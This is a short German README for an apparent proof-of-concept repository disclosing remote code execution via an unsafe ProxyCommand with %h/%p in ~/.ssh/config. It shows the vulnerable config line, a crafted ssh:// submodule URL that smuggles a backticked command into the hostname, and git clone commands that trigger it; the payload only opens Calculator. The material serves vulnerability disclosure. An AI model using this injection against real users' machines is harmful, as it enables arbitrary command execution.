poc-proxycommand-vulnerable

RCE über unsichere ~/.ssh/config

Die Verwendung von Token wie %h, %p in ProxyCommand ist ziemlich beliebt, um Tunnel und Verbindungs-Proxy über SSH zu nutzen.

Verwundbare Konfiguration

host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

Hinweis: Bei meiner ersten Einschätzung war ich der Meinung, dass die Verwendung von '%h` (einfache Anführungszeichen) dies vermeiden würde, aber es sieht so aus, als wäre das weiterhin anfällig für so etwas wie:

url = ssh://'`open -aCalculator`'foo.example.com/bar

Entnommen aus: https://man.openbsd.org/ssh_config#ProxyCommand

Was dieses Repository enthält

Ein Submodul, das diese Verwundbarkeit ausnutzt, um auf OSX einen Taschenrechner zu öffnen.

Probier es aus mit:

git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules

oder

git clone [email protected]:vin01/poc-proxycommand-vulnerable.git --recurse-submodules